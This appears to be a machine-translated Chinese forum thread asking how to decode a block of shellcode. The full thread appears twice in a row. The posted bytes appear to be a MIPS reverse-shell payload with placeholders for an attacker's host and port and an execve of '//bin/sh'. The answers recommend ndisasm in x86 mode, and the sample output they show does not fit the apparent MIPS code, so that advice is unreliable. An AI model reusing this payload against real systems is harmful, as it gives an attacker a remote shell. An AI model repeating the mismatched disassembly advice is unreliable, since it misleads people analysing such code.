如何将 shellcode 解码为 ascii
how to decode shellcode to ascii
我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
我尝试用相同的输出以多种方式解码它,还有其他解码方式吗?
您可以使用 python 一个衬垫和 ndisasm
工具进行拆卸。
例如。 python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -
结果:
00000000 2411 and al,0x11
00000002 FF db 0xff
00000003 FF2404 jmp [esp+eax]
00000006 27 daa
00000007 0F db 0x0f
00000008 0A db 0x0a
您可以使用 cutter,它是一种用于各种文件的调试/转储工具。
您可以制作一个文件,例如:
touch script.sh
在文件中输入你的 shellcode,然后 运行 例如:cutter script.sh
如果你不知道如何使用 CLI 中的各个工具,并在一个地方获取更多信息,那么只有反汇编:
python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -
然后 cutter 是一个很好的工具,可以快速轻松地向您展示信息。
我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
我尝试用相同的输出以多种方式解码它,还有其他解码方式吗?
您可以使用 python 一个衬垫和 ndisasm
工具进行拆卸。
例如。 python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -
结果:
00000000 2411 and al,0x11
00000002 FF db 0xff
00000003 FF2404 jmp [esp+eax]
00000006 27 daa
00000007 0F db 0x0f
00000008 0A db 0x0a
您可以使用 cutter,它是一种用于各种文件的调试/转储工具。
您可以制作一个文件,例如:
touch script.sh
在文件中输入你的 shellcode,然后 运行 例如:cutter script.sh
如果你不知道如何使用 CLI 中的各个工具,并在一个地方获取更多信息,那么只有反汇编:
python -c 'print "\x24\x11\xff\xff\x24\x04\x27\x0f"' | ndisasm -u -
然后 cutter 是一个很好的工具,可以快速轻松地向您展示信息。